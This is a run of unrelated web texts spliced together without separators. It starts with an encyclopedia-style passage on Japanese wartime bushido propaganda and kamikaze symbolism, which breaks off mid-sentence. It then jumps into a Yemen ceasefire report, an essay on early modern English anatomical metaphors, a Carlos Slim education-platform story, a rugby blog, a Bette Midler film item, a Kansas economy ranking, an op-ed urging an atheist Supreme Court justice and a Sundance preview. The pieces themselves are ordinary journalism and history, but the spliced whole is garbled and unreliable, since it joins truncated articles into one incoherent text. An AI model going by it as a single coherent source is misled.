Soldiers were told that the bayonet was their central weapon, and many kept them affixed at all times.[115] Guns were treated as symbolic representations of martial spirit and loyalty, so any negligence regarding them was severely punished.[116]
As early as the Shanghai Incident, the principles of victory or death were already implemented, and much was made of a captured Japanese soldier who returned to the site of his capture to commit seppuku.[117] Three troopers who had blown themselves up on a section of barbed wire were lauded as "three human bombs" and featured in no less than six films, even though they may have died only because their fuses were too short.[118] Tojo himself, in a 1940 booklet, urged the spirit of self-sacrifice on soldiers, to not consider death.[119] It unquestionably contributed to the maltreatment of prisoners of war, who had performed the disgraceful act of surrender.[120] Another consequence was that nothing was done to train soldiers for captivity, with the result that Americans found Japanese prisoners much easier to get information from than the Japanese found American prisoners.[121]
In 1932, Akiko Yosano's poetry urged Japanese soldiers to endure sufferings in China and compared the dead soldiers to cherry blossoms, a traditional image that would be put to great use throughout the war.[12]
The emphasis on this tradition and the lack of a comparable military tradition in the United States led to an underestimating of American fighting spirit, which surprised Japanese forces at Midway, Bataan, and other Pacific War battles.[122] It also emphasized attack at the expense of defense.[123] Bushido argued for bold advances in the face of common sense, which was urged on the troops.[124]
The dead were treated as "war gods", starting with the nine submariners who died at Pearl Harbor (with the tenth, taken prisoner, never being mentioned in Japanese press).[125] The burials of and memorials for "hero gods" who had fallen in battle provided the Japanese public with news of battle that had not been otherwise released, as when a submarine attack on Sydney was revealed through burial of four who died; this propaganda frequently clashed with propaganda on victory.[126] Even years before the war, children had been instructed in school that dying for the emperor transformed one into a deity.[127] As the war turned, the spirit of bushido was invoked to urge that all depended on the firm and united soul of the nation.[128] Media were filled with stories of samurai, old and new.[129] Newspapers printed bidan, beautiful stories, about dead soldiers with their photographs and having a family member speak of them; before Pearl Harbor and the crushing casualties of the Pacific War, they endeavoured to get such a story for every fallen soldier.[130] While fighting in China, the casualties were low enough that individual cases were glorified.[118] Letters from "fallen heroes" became a staple of Japanese newspapers by 1944.[131]
Defeats were treated chiefly in terms of resistance to death. The Time magazine article on Saipan and the mass civilian suicides there was widely reported with the "awe-filled" enemy reports treated as evidence of the glory of sacrifice and the pride of Japanese women.[132] When the Battle of Attu was lost, attempts were made to make the more than two thousand Japanese deaths an inspirational epic for the fighting spirit of the nation.[133] Suicidal rushes were glorified as showing the Japanese spirit.[134] Arguments that the plans for the Battle of Leyte Gulf, involving all Japanese ships, would expose Japan to serious danger if they failed, were countered with the plea that the Navy be permitted to "bloom as flowers of death."[135] The last message of the forces on Peleliu was "Sakura, Sakura" – cherry blossoms.[136]
The first proposals of organized suicide attacks met resistance because while bushido called for a warrior to be always aware of death, he was not to view it as the sole end.[137] The Japanese Imperial Navy had not ordered any attacks it was impossible to survive; even with the midget submarines in the Pearl Harbor attack, plans had been made for rejoining the mother ship, if feasible.[138] The desperate straits brought about acceptance.[137] Propagandists immediately set about ennobling such deaths.[139] Such attacks were acclaimed as the true spirit of bushido,[140] and became an integral part of strategy with Okinawa.[141]
Cherry blossoms before Mount Fuji: symbols of heroic death
Vice Admiral Takijirō Ōnishi addressed the first kamikaze (suicide attack) unit, telling them that their nobility of spirit would keep the homeland from ruin even in defeat.[142] The names of four sub-units within the Kamikaze Special Attack Force were Unit Shikishima, Unit Yamato, Unit Asahi, and Unit Yamazakura.[143] These names were taken from a patriotic poem (waka or tanka), Shikishima no Yamato-gokoro wo hito towaba, asahi ni niou yamazakura bana by the Japanese classical scholar, Motoori Norinaga.[144]
If someone asks about the Yamato spirit [Spirit of Old/True Japan] of Shikishima [a poetic name for Japan]—it is the flowers of yamazakura [mountain cherry blossom] that are fragrant in the Asahi [rising sun].
This also drew upon popular symbolism in Japan of the fall of the cherry blossom as a symbol of mortality.[145] These, and other kamikaze attackers, were acclaimed as national heroes.[146] Divers, prepared for such work in the event of the invasion of Japan, were given individual ensigns, to indicate they could replace an entire ship, and carefully separated so that they would die from their own handiwork rather than another's.[147]
The propaganda urging such deaths, and resistance to death, was issued in hopes that the bitter resistance would induce the Americans to offer terms.[148] When Togo made approaches to the Soviet Union, these were interpreted as asking for peace, which the newspapers instantly repudiated—they would not seek peace but win the war—a view enforced by the kempeitai, who arrested for any hint of "defeatism."[149] The army's manual on defending the homeland called for the slaughter of any Japanese who impeded the defense.[150]
Japanese propaganda of "fighting to the bitter end" and "the hundred-year war", indeed, led many Americans, beyond questions of hatred and racism, to conclude that a war of extermination might be the only possibility of victory, the question being whether the Japanese would surrender before such extermination was complete.[151]
Even after the atomic attacks and the Emperor's insistence that they surrender, Inaba Masao issued a statement urging the Army to fight to the bitter end; when other colonels informed him of a proclamation made to hint of the prospect of surrender to the population, they rushed to ensure Inaba's was broadcast, to create conflicting messages.[152] This caused consternation in the government for fear of American reaction, and to prevent delay, the surrender was sent out as a news story, in English and Morse code to prevent military censors from halting it.[153]
Intelligence [ edit ]
Early training for intelligence agents tried to infuse the service with the traditional mystery of spying in Japan, citing the spirit of the ninja.[154]
In China [ edit ]
In occupied China, textbooks were revised to omit tales of Japanese atrocities and instead focus on heroic Japanese figures, including one officer who divorced his wife before going to China, so that he could focus on the war, and she would be free of the burden of filial piety toward his parents, since he would certainly die.[27]
Against atrocity claims [ edit ]
Tight government censorship prevented the Japanese population from hearing of atrocities in China.[155]
When news of atrocities reached Western countries, Japan launched propaganda to combat it, both denying it and interviewing prisoners to counter it.[156] They were, it was proclaimed, being well-treated by virtue of bushido generosity.[157] The interviews were also described as being not propaganda but out of sympathy with the enemy, such sympathy as only bushido could inspire.[158] The effect on Americans was tempered by subtle messages imbedded by the prisoners, including such comments as the declaration they were allowed to continue to wear the clothes they had been captured in.[158]
As early as the Bataan Death March, the Japanese had The Manila Times claim that the prisoners were treated humanely and their death rate had to be attributed to the intransigence of the American commanders who did not surrender until their men were on the verge of death.[159] After the torture and execution of several of the Doolittle Raiders, the Nippon Times proclaimed the humane treatment of American and British prisoners of war in order to declare that British forces were treating German prisoners inhumanely.[160]
The United States and Great Britain were attacked years before the war, with any Western idea conflicting with Japanese practice being labeled "dangerous thoughts."[38] They were attacked as materialistic and soulless, both in Japan and in short-wave broadcasts to Southeast Asia.[38] Not only were such thoughts censored through strict control of publishing, the government used various popular organizations to foment hostility to them.[161] Great Britain was attacked with particular fervor owing to its many colonies, and blamed for the continued stalemate in China.[162] Chiang Kai-shek was denounced as a Western puppet,[163] supplied through British and American exploitation of Southeast Asian colonies.[164] Militarists, hating the arms control treaties that allowed Japan only 3 ships for British and American 5, used "5-5-3" as a nationalistic slogan.[165] Furthermore, they wished to escape an international capitalist system dominated by British and American interests.[166]
Anti-British poster
Newspapers, in the days leading up to Pearl Harbor, kept up an ominous repetition of intransigence on the part of the United States.[167]
The news of the attack on Pearl Harbor resulted in newspapers staging a "Rally to Crush the United States and Great Britain."[168] When the government found the war songs too abstract and elegiac, it staged a nationwide competition for a song to a march tune with the title "Down with Britain and America."[169]
After such atrocities as the Bataan Death March, cruel treatment of prisoners of war was justified on the grounds they had sacrificed other people's lives but surrendered to save their own, and had acted with utmost selfishness throughout their campaign.[120]
The pamphlet The Psychology of the American Individual, addressed to soldiers, informed them that Americans had no thought of the glory of their ancestors, their posterity, or their family name, they were daredevils in search of publicity, they feared death and did not care what happened after it, they were liars and easily taken in by flattery and propaganda, and being materialistic, they relied on material superiority rather than spiritual incentive in battle.[170]
Praise of the enemy was treated as treason, and no newspaper could print anything mentioning the enemy favorably, no matter how much the Japanese forces found enemy combat spirit and effectiveness praiseworthy.[171]
Intellectuals promulgated anti-Western views with particular fervor.[172] A conference on "overcoming modernity" proclaimed the "world historical meaning" of the war was resistance to the Western cultural ideas imposed on Japan.[172] The Meiji Restoration had plunged the nation into Western materialism (an argument that ignored commercialism and ribald culture in the Tokugawa era), which had caused people to forget they were a classless society under a benevolent emperor, but the war would shake off these notions.[65] The government likewise urged the abandonment of Western ways—such as baseball and jazz—for a pure spirit of sacrifice.[65]
Officially, this was not to be presented as a racial war, because of the alliance with Italy and Germany, and to some policymakers, because such a claim was incompatible with Japan's high moral purpose, but as the alliance was both secure |
that the cessation of hostilities is "fully respected".
He added that preparations were under way for Kuwait peace talks scheduled to be held on April 18, which are to focus on key issues such as withdrawal of militias and armed groups, handover of heavy weapons and resumption of an all-inclusive political dialogue.
Al-Qaeda gains influence
The coalition intervened last year in March to push out Houthis, who are backed by the Iran and former President Ali Abdullah Saleh.
The conflict in the impoverished Arabian Peninsula nation has ruined large parts of the country and raised Middle East tensions.
Al-Qaeda in the Arabian Peninsula (AQAP), the powerful Yemeni branch of the armed network, has taken advantage of the conflict to seize territory and gain influence.
General Mohamed Ali al-Makdashi, the chief of staff for Hadi's forces, said early on Monday the ceasefire was largely holding despite some violations by rebels.
"The truce has not collapsed and we hope the rebels end their attacks and respect the ceasefire," he said, alleging breaches in several areas including the cities of Taiz, in southwestern Yemen, and Marib, east of Sanaa.
Hadi forces accused Houthis of 25 truce violations around Taiz, while the rebels said in a statement that there was at least one coalition air strike in Taiz province, and accused loyalists of being behind 33 truce violations north and east of Sanaa, as well as in the south.
A committee comprising representatives from both sides will work to ensure the ceasefire is respected.
Coalition spokesman Brigadier General Ahmed Asiri earlier described the violations as "minor".
"It is the first day and we should be patient," the top Saudi officer told AFP news agency. "Day by day, it will be better."
No bombings in Sanaa
An AFP photographer in Sanaa said the rebel-held capital has not been targeted by coalition warplanes since Sunday.
The Western-backed Prime Minister Ahmed bin Dagher also played down violations, saying that the truce "seems good", adding after meeting the UN envoy in Riyadh that "we want a durable peace".
"Now is the time to step back from the brink," the UN envoy Ahmed said.
"The progress made represents a real opportunity to rebuild a country that has suffered far too much violence for far too long."
The Houthis captured Sanaa in 2014. As the rebels advanced into other areas, Hadi and other officials fled first to the main southern city of Aden and eventually to Riyadh.
A coalition of mainly Sunni Arab allies launched air strikes in March last year against the Houthis and later sent ground troops to support pro-government forces.
The loyalists have since managed to reclaim large parts of the south, establishing a temporary capital in Aden, but have failed to dislodge the Houthis from Sanaa and other key areas.Photo: Getty Images
Think back to the last time you heard a hymen or a scrotum lovingly described. Have you ever? There’s a lamentably utilitarian slant to the way we talk about genitals these days. Our language might be clinical or obscene, but it’s rarely interesting or companionable; one rarely hears the hymen described as “the great Clove Gilly-flower when it is moderately blown” (as Helkiah Crooke did in 1615) or imagines the cervix the way 17th-century midwife Jane Sharp did, as “the head of a tench, or of a young kitten.” Our language for sex is impoverished, but so is our language for the relevant parts.
Things could be otherwise, and in 16th- and 17th-century England, they were: The anatomy books and midwifery guides of the period are rife with weird, creative, wonderful formulations for the reproductive organs. The key difference between then and now is that male and female genitals were imagined as identical parts, just somewhat rearranged. Jane Sharp — the midwife who sees young kittens in cervixes — puts it best, I think: “The Matrix is like the Yard turned inside outward, for the neck of the womb is as the Yard … and Stones are like the Cods, for the Cods turned in have a hollowness, and within the womb lie the Stones and seed vessels.” In other words, the vagina and uterus were basically an inside-out penis, with testes and ovaries reconfigured accordingly. (If that’s unclear, here’s an NSFW illustration of this account of the female reproductive system — its phallic qualities will be obvious.) That’s a major conceptual shift in what we talk about when we talk about sex. If you consider a vagina a penis turned inside out (rather than just a hole for a penis to fill), sex becomes symbolically different, and gender gets a lot more flexible. Men and women are no longer opposites — they become variations on a single gender.
Photo: Science & Society Picture Library/Getty Images
17th century male and female anatomical models.
Natural philosophy was coming into its own during this period: Andreas Vesalius published his definitive guide to human anatomy with its famously dramatic poses in Italy in 1543. The Royal Society was founded in 1660. All over Europe, curious pioneers were making observations, conducting experiments, and trying to generate not just explanations but metaphors that explained the relationship between nature and society — bees, for instance, were nature’s argument for the monarchy as a system of government. Above all, though, the natural philosophers were trying to come up with a set of scientific best practices and reconcile new discoveries with classical wisdom.
The idea of men and women as inverted versions of each other — or warmer and cooler products of the same basic ingredients in the womb — dates back to the Greeks. That understanding of gender survived even as knowledge of anatomy increased, and its symbolic and cultural consequences in early modern England were huge. If men and women both had essentially the same parts, they both produced “seed.” If they both needed to achieve orgasm in order for that seed to be released and conception to occur, then female desire was essential to the human race. So was female pleasure, the pursuit of which formed a significant component of 16th- and 17th-century guides to anatomy and obstetrics. That logic shaped the cultural understanding of how sex worked. (It wasn’t until the 18th century, with the unhappy discovery that women could get pregnant while unconscious, that female pleasure fell out of our modern understanding of reproduction.)
And since women were getting pregnant all the time, it followed that the female libido must be enormous. If our current gender myth is that men always want sex and women want relationships, the stereotype back then was that women were leaky, undisciplined, and sexually insatiable. Thomas Laqueur named this philosophy the “one-sex model” and attributes it to the new anatomy emerging in England at the time that displayed, “at many levels and with unprecedented vigor, the ‘fact’ that the vagina really is a penis, and the uterus a scrotum.”
If male and female sexual functions tended to blur, so did the corresponding analogies that explained fertilization. Our current metaphor for conception is weirdly retrograde: The large, passive egg resists the onslaught of marauding sperm, most of whom die in battle. There are lots of other ways to tell that story: Eggs are actually plenty active, and sperm are themselves penetrated by bicarbonate ions in the female reproductive tract long before they do any penetrating, but the point is that, our fantasies of objectivity notwithstanding, our gender myths still distort our biology.
Early modern England saw conception as more drawing-room drama than fantasy epic; basically, sperm are shy and retiring and likely to glumly depart unless they’re actively made to feel at home. Robert Barret, the author of another book for midwives published in 1699, advises women trying to conceive that even a vagina without “defects” (of which there are many) doesn’t guarantee conception unless it observes the rules of hospitality, and sperm are finicky guests:
If their Womb be cold, and the Seed be not received with some welcome warmth, then it slips out again for want of kind Entertainment. Or if the Womb be moist, by reason of the Seed’s being choked and extinguished in the prevailing moisture, which is commonly accompanied with a cold temperature; or if the Womb be too dry and hot, for then the Seed is burnt up and exhaled.
(If you were disinclined to entertain sperm kindly and wanted to remain child-free, however, one Cosmo-style tip — in a bawdy publication called The Wandring Whore — is to pee the seed away. “I settled on the Chamber-pot as soon as ever he was off,” a sprightly prostitute named Juliette says of her latest client, “till I made it whurra, and roar like the Tide at London-Bridge.”)
Photo: General Photographic Agency/Getty Images
17th century medical illustrations of fetal positions in the womb.
None of this means that misogyny wasn’t alive and well. Thomas Nashe’s description of a lover’s vulva in the 1590s is far from enthralled:
[it] hath his mouth beset with ugly briars, Resembling much a dusky net of wires.”
For Nashe, the vulva’s “ugliness” defeminizes it; the mouth beset with briars is “his,” not hers. Women who drifted into traditionally masculine realms definitely had their gender questioned, too — even (and especially) seamstresses, who performed a feminine task with a phallic tool. Moll, the hilarious, gender-bending roaring girl from the play of the same name, accuses a Mistress Openwork of “pricking out a poor living” with her needlework and sewing “many a bawdy skin-coat together.” The threat of the seamstress was practical as well as metaphorical: James Grantham Turner has shown that new forms of female agency in early modern London — particularly economic — were deeply threatening to the status quo. The market was resistant to the concept of entrepreneurial women, and that resistance equated female economic participation with promiscuity. According to this logic, “independent female enterprises — schools, lodging-houses, catering services, and luxury shops — must be covers for prostitution,” he writes, “and the only ‘commodity’ a woman can sell is herself.”
Perhaps fittingly, if seamstresses are whores, vaginas can be clothes. In The Roaring Girl, a Thomas Middleton and Thomas Dekker play first published in 1611, a hapless husband thinks another man is sleeping with his wife and begs his rival to stop “wearing” her: “Would not you scorn to wear my clothes, sir?” he says. “Then pray, sir, wear not her, for she’s a garment so fitting for my body, I’m loath another should put it on.” Then there are the more familiar economic metaphors. A prostitute “enhances” the price of her “commodity.” “Trust to no pockets or purse,” says Magdalen to Juliette in The Wandring Whore, “but that which is cut between her Legs.”
It’s worth noting that as these metaphors get more utilitarian, they also become more hostile — a purse is a lot less evocative than Jane Sharp’s “Gilly-flower half-blowne.” Those in closest contact with literal genitals — Sharp, Barret, and other anatomists — seem to be kindest to them. Jane Sharp’s description of the vulva and vagina is sort of lovely:
At the bottom of the woman’s belly is a little bank called a mountain of pleasure near the well-spring, and the place where the hair coming forth shews Virgins to be ready for procreation… Under this hill is the springhead, which is a passage having two lips set about with hair as the upper part is.
Sharp is downright prosaic compared to Barret, for whom impediments to conception include — besides fastidious sperm — a “vicious conformation of the Womb” or a too-narrow vagina: “Sometimes the Vagina or Neck is so narrow, that it cannot make way for the entrance of the Yard,” he writes, then dips back into the language of hospitality: “It knocks in vain at the Door, and meets with such resistance in the anti-chamber as obliges it to retire.” To his credit, Barret identifies just as strongly with the narrow vagina: “the Passage being so narrow, she cannot receive the Man, or his Seed, and is depriv’d of the Benefit of Coition.”
Photo: Corbis
A 16th century drawing of a midwife assiting a mother to be.
If we can learn anything about this range of vaginal symbols it’s that the organs themselves become worthy objects of sympathy under the one-sex model and that this effect is greatest at the scientific (rather than the poetic) end of the rhetorical spectrum. If Nashe genders the vagina itself male and ugly in his poetry, Sharp’s vision of the cervix as the head of a tench in her guide for midwives feels winky and familiar, and Barret’s feeling for the locked-out penis amounts to the kind of empathy you’d have for a friend down on his luck. What’s most interesting, though, is the way these small touches — which amount to imagining the genitals as active partners rather than passive and active principles — add up to an entire alternative narrative about gender and desire and sex, complete with sexually appetitive women, timid sperm, and active, hospitable uteri. It invites us, too, to consider not just the words but the metaphors we accidentally import into our own anatomies, to rescue our biological myths from the 1950s and make our analogies as collaborative and mutually pleasurable as the parts that inspire them.Mexican tycoon Carlos Slim gives a speech as he launches a free online platform for education with free access to mobile WiFi connections to the Internet on his Infinitum service during a news conference at Soumaya museum in Mexico City, Mexico, June 15, 2016.
Mexican tycoon Carlos Slim gives a speech as he launches a free online platform for education with free access to mobile WiFi connections to the Internet on his Infinitum service during a news conference at Soumaya museum in Mexico City, Mexico, June 15, 2016. REUTERS/Henry Romero
Carlos Slim presented the launch of a new platform Aprender.org, which has 72 online courses and goes from middle school to Master's degree, and is officially recognized.
Additionally, the platform will also have a job hunt section where students can search for good fits while studying at the same time.
“We need to refresh education, make it fun. Technology has allowed people to be communicated and have access to knowledge. We are looking to offer and integrate all of these courses in an educational platform where everyone can train themselves,” said Slim.
Aprende.org is active in 147 countries around the world, with 72 courses online about training, education, health and culture, which include over 3,100 short videos. The platform can also be accessed through an app called App-Prende.
Telmex Foundation general director Arturo Elías Ayub also spoke about the importance of this project. “Gratuitous educational content from middle school to Master’s degree level. [This] will be a paradigm change in which the quality of the content is one hundred percent controlled,” Elías insisted.
The typhoon announced that they had reached official agreements with Mexico’s Secretary of Public Education and the Khan Academy so that some of the courses can be officially recognized.
Slim, whose fortune exceeds the $80,000 million, also revealed that the company is working on what he called a “secondary smart phones market” to increase connectivity for those who still have no access to the Internet, so that they can access the new educational platform.
“This project will be presented in September before the International Union of Telecommunications (UIT), with the goal being that other countries join this initiative and more people around the world can have better connectivity,” Slim explained. The project is also being established with official agreements with the Secretary of Public Education and the Secretary of Social Development.This caveman took a break from golfin’ this weekend to check out a few of the local sports in the Hampton Roads, VA area. My first stop was the womans rugby team, Norfolk Storm vs the Raleigh Venom. And let me tell you, it was one heck of a game! Two undefeated teams went head to head in a close match. Raleigh may have walked away with the W, but I am pretty sure I will see both teams at the USAR Women’s National Championships, Nov 11-13th, in Virginia Beach.
You can check out their website for more information on their upcoming matches. Or join their Facebook Group. They are always looking for new players. So if you are up for the challenge join them!
The Norfolk Storm Women’s Rugby Football Club is a Division II team founded in 1996. We are members of the USA Rugby Union,the Mid-Atlantic Rugby Union,and the Virginia Rugby Union. The Storm have been 3 time Virginia State Champions, 2 time Military National Club Champions, won various tournaments in the Southeast region, and have had several players represent the various unions in both national and international competition. Women of all ages, shapes, sizes and fitness levels are welcome. NO EXPERIENCE NECESSARY!!
What’s the best local match you have ever seen?
I would like to continue to cover and blog about the local events, so if you have any suggestions on what I should attend, let this caveman know!
~ScratchBette Midler to Star in 'Mae West' for HBO Films, William Friedkin Directing
Hollywood icon Mae West will soon be returning to the screen. According to Deadline, HBO has put into development “Mae West,” a film adaptation of the star’s autobiography “Goodness Had Nothing To Do With It,” with none other than than the Divine Miss M, Bette Midler, set to play West.
The team behind the production has more than a few heavy hitters attached, including William Friedkin (“The Exorcist,” “Killer Joe”) as the director, actor and playwright Harvey Fierstein penning the script, and Jerry Weintraub as executive producer.
Mae West was a salacious Broadway star who constantly battled authorities over obscenity charges, eventually jailed for 10 days for “corrupting the morals of youth” in her breakthrough play “Sex.” West eventually moved to Hollywood where she became one of the highest grossing stars of the 1930s and though her career is partly defined by her fights against the censors, West is playfully quoted as saying “I believe in censorship. I made a fortune out of it.”
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.Data recently released in the Washington, D.C.-based publication State Policy Reports puts Kansas in close-to-last place when it comes to state economies. Kansas is ranked 46th when compared to other states and the District of Columbia.
The Index of State Economic Momentum ranks states based on their most recent performance in three key measures of economic vitality: personal income growth, employment growth and population growth. Utah was at the top of the list, and North Dakota was at the very bottom.
Kansas’ ranking puts it just five spots away from having the worst-ranked economy in the nation.
Other findings show that states that are reliant on natural resources consistently rank lower; Wyoming, Oklahoma and New Mexico all fell in the bottom 10.
A decline in global prices for agricultural commodities has caused farming to struggle, leading to low rankings for Iowa, Nebraska and Kansas.
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Follow Abigail Wilson on Twitter @AbigailKMUW
To contact KMUW News or to send in a news tip, reach us at news@kmuw.org.This op-ed appeared in The New Yorker on Feb. 19, 2016, and is reprinted with permission.
By Lawrence Krauss
Who should replace Antonin Scalia? On Feb. 15, The New York Times reported that the justice himself had weighed in on the question: Last June, in his dissenting opinion in the same-sex marriage case Obergefell v. Hodges, Scalia wrote that the court was "strikingly unrepresentative" of America as a whole and ought to be diversified. He pointed out that four of the justices are natives of New York City, that none are from the Southwest (or are "genuine" Westerners), and that all of them attended law school at Harvard or Yale. Moreover, Scalia wrote, there is "not a single evangelical Christian (a group that comprises about one quarter of Americans), or even a Protestant of any denomination" on the court. (All nine justices are, to varying degrees, Catholic or Jewish.)
Scalia's remarks imply that an evangelical Christian should be appointed to the court. That's a strange idea: Surely, the separation of church and state enshrined in the Constitution strongly suggests that court decisions shouldn't be based on religious preference, or even on religious arguments. The Ten Commandments are reserved for houses of worship; the laws of the land are, or should be, secular. Still, I'm inclined, in my own way, to agree with Scalia's idea about diversity. My suggestion is that the next Supreme Court justice be a declared atheist.
Atheists are a significantly underrepresented minority in government. According to recent findings from the Pew Research Center, about 23% of American adults declare that they have no religious affiliation — which is two percentage points more than the number who declare themselves Catholic. At least 3% of Americans say that they are atheists — which means that there are more atheists than Jews in the United States. An additional 4% declare themselves agnostic; as George Smith noted in his classic book Atheism: The Case Against God, agnostics are, for practical purposes, atheists, since they cannot declare that they believe in a divine creator. Even so, not a single candidate for major political office or Supreme Court justice has "come out" declaring his or her non-belief.
From a judicial perspective, an atheist justice would be an asset. In controversial cases about same-sex marriage, say, or access to abortion or birth control, he or she would be less likely to get mired in religion-based moral quandaries. Scalia himself often got sidetracked in this way: He framed his objections to laws protecting LGBT rights in a moral, rather than a legal-rights, framework. In his dissent in 2003 in Lawrence v. Texas — a case that challenged a Texas law criminalizing gay sex — Scalia wrote that those who wanted to limit the rights of gay people to be teachers or scoutmasters were merely "protecting themselves and their families from a lifestyle they believe to be immoral and destructive." To him, religion-based moral objections seemed to deserve more weight than either factual considerations (homosexuality is not destructive) or rights-based concerns (gay people's rights must be protected). Indeed, Scalia's meditation on the court's lack of religious diversity was part of a larger argument that the court's decision on same-sex marriage did not reflect prevailing religious and moral values. An atheist justice, by contrast, would have different intellectual habits. I suspect that he or she would be more likely to focus on reason and empirical evidence.
In addition, the appointment of an atheist justice would send a meaningful message: it would affirm that legal arguments are secular, and that they are based on a secular document, the Constitution, which was written during the founding of a secular democracy. Such an appointment would also help counter the perceived connection between atheism and lawlessness and immorality. That unfortunate and inaccurate link is made all too often in the United States. A Pew survey conducted in January showed that, once again, Americans would be less likely to vote for an atheist candidate than for a candidate who has no experience, is gay, was involved in financial improprieties, has had extramarital affairs, or is Muslim. Atheists are widely, absurdly and openly mistrusted.
That distrust has ancient roots: because religion long ago claimed morality as its domain, atheism has long been connected to immorality. To many people, religiosity confers an aura of goodness. In the U.K., when people who had listed their religious affiliation as Christian on the national census were asked by the Richard Dawkins Foundation why they had done so, most said it was not because they actually accepted the detailed doctrines of their faith, but because it made them feel like they were good people. This is a two-way street on which both directions point the wrong way. By the same token, when good people openly declare that they cannot accept religious doctrines or question the underlying concept of God, they are often classified as "bad."
The prejudice against atheists has real-world consequences. In December 2014, the Times reported that seven states — Arkansas, Maryland, Mississippi, North Carolina, South Carolina, Tennessee, and Texas — still have laws on their books that make atheists ineligible to run for public office. And anti-atheist prejudice is shaping our presidential race, too. Consider the case of Donald Trump in South Carolina. After Trump insulted Ted Cruz using a sexist slur, one voter responded by saying, "The way he speaks — that doesn't sound like somebody who really believes in God that much. You want your children to look up at the president of the United States."
Implicit in that statement is the idea that a politician's belief in God is, in itself, a reason for children to look up to him or her. Meanwhile, other aspects of a candidate's character seem not to matter. If the opinions of Cruz's colleagues in the Senate and elsewhere are any indication, he seems to be rather unlikable; his competitors in the Republican primaries have suggested that he is less than truthful, as well. Still, Cruz captures a significant fraction of the evangelical vote because his character seems to matter less than his open and pronounced invocation of God in discussing his policies.
Our strange attitudes about atheism warp our politics and our laws. It's time to remove the stigma. One way to do that is by appointing an atheist to the Supreme Court. Happily, such an appointment would be a tribute to the spirit, if not the letter, of one of Scalia's last opinions. More than that, it would be a tribute to the secular principles upon which this country was founded.
Lawrence Krauss is an esteemed theoretical physicist and author who will be receiving the Emperor Has No Clothes Award at the 2016 FFRF national convention. See more on the back page.[From Jan. 19 to 29, Flixist will be bringing you live coverage, from Park City, Utah, of Sundance Film Festival 2012. Keep an eye out for news, features, videos, and reviews of some of the most anticipated films to hit the festival circuit in 2012.]
While other festivals, at times, have me splitting the difference between two films I feel apathetic toward, Sundance pits me with so many tough scheduling decisions that I have constant panic attacks.
This year has one of the best line-ups I’ve ever seen. From niche horror to promising indie drama debuts, there is something for everyone at Sundance 2012. These are all films someone is bound to love and most are more than likely to receive buzz that will last long after the festival ends. We at Flixist have the privilege to see some of 2013 and 2014’s best films a couple years early, and these are the ones I have the best gut-feeling about.
Stay tuned to our live coverage, when the festival kicks-off Thursday night, to find out which one of these are winners.
When an action film with a minimal plot can make waves of hype at Toronto Film Festival, it’s a given that Flixist will pay attention. The Raid is an action film that cares for little else other than giving its actors (who are also its fight choreographers) an excuse to give each other one hell of a beatdown. The film’s plot resembles an old Capcom arcade game in its simplicity: A SWAT team must take out a mob boss at the top of a tall apartment complex. The film follows their trek from the bottom to the top, as they engage numerous thugs. The trailer shows off some of the Indonesian Silat fight-style and director Gareth Evans' stylized visuals, but I’m a bit worried that the paper-thin plot will cut into my enjoyment of this unique Indonesian action flick.
With a mix of up-and-coming horror directors -- some great (Ti West), some not so great (Joe Swanberg) -- coming together for a film of loosely tied vignettes, V/H/S could be a brilliant merging of Creepshow and Four Rooms. There is a well established camaraderie between the film’s directors, as most have worked on each other’s films on some level. This could elevate the film or it could make it an self-referential mess between friends. Regardless, it’s a refreshing take on a genre rarely seen at Sundance. Also, Ti West!
Like every art form before it, it was only a matter of time until game development became accessible to the masses. Sure, Richard Garriott was independent and making games by his lonesome in the '80s, but now everyone has access to cheap tools, advice, and entertainment. As a result, the landscape of games has changed. Indie Game shows us what the experience has been like from behind the monitors of some of the decade’s most influential games made by the most unlikely programmers. How do you make talking heads and programming interesting? You make it look really dramatic and cool, if this trailer is any indication.
Somethings you don’t realize you love until they are gone. James Murphy (AKA LCD Soundsystem) made a massive impact on the music world, despite having released only three albums and a handful of singles. Although I never loved his music, I can’t argue against him being a unique voice that stood out over the past decade. His self-depreciating lyrics, pristine production, and candid nature in interviews presented a new type of rock star. Murphy, for better or worse, called it quits on April 2. Shut Up and Play the Hits wraps-up the LCD Soundsystem story with an interview with writer Chuck Klostermann, beautifully shot footage of the band’s farewell show, and a look at Murphy when the lights go out. This could be the rare music documentary that transcends the “for fans only”-wall.
It’s not Sundance without a couple quirky indie comedies, but Predisposed looks like the most promising of 2012’s selection. Jesse Eisenberg stars as a child prodigy who is trying to make amends with his burnout mother, played by Melissa Leo. While taking his mom to rehab, things go awry and the two are hijacked and held hostage by two drug dealers (one of which is played by Tracy Morgan). The four then go on a crazy road trip full of lots of screaming and bonding. It’s like River Wild! … without a boat … and Kevin Beacon. It’s also worth noting that Predisposed is an expansion of directors Phil Dorling and Ron Nyswaner’s award-winning 2008 short.
If you don’t know Mark Duplass’ name yet, you will by the end of 2012. With his excellent Jeff, Who Lives at Home on its way to theaters, multiple starring roles in films (not to mention FX TV series The League), numerous producing credits, and various scripts floating around Hollywood, Mark Duplass is quickly ascending to the realm of indie movie somebodies. With a great cast, including Kristen Bell and Jeff Garlin, and an amusing premise (“Two magazine employees interview a guy who placed a classified ad seeking a companion for time travel.”), Saftey Not Gauranteed could be Duplass’ first hit from the other side of the camera.
Based on the beloved David Wong novel, John Dies at the End is an offbeat horror film about undead drug addicts from another dimension. With only two fresh faced teens and a very disgruntled-looking Paul Giamatti to save the world, things don’t seem so easy. While the source material and premise is enough to get giddy about, it’s the film’s attached director that sets this one over the top. Phantasm is an absolute horror classic, and I can’t wait to see if Don Coscarelli taps into that horror genius again.
Despite its flaws, Buried was an inspired film of suspense that stood out at Sundance 2010. Director Rodrigo Cortés’ follow-up is a much more ambitious film with bigger stars and a story that can’t be boxed-in (see what I did there?) With nothing but a dull teaser that shows star Robert De Niro turning his back, there isn’t much to gather here. All we know is that the film follows paranormal investigators (Sigourney Weaver, Cilian Murphy) who are out to debunk a world famous psychic (Robert De Niro). With an amazing cast (which also includes Elizabeth Olsen) and premise, this could be Cortés raising to the ranks of Christopher Nolan’s mastery of suspense and mystery.
After watching this trailer, I was left completely dumbfounded. Everything from Sean Penn’s tongue-in-cheek caricature of Robert Smith to a chubby kid butchering one of the greatest songs ever written made me smile. A crude, perplexed smile. This Must Be the Place is an offbeat, quirky dramedy but not of the type that has become so popular in recent years. This isn’t about a cute family, coming of age, or finding an excuse to play 20+ college radio hits in under 120 minutes. It’s about … hell, I don’t really know what it’s about, but I can’t wait to find out!
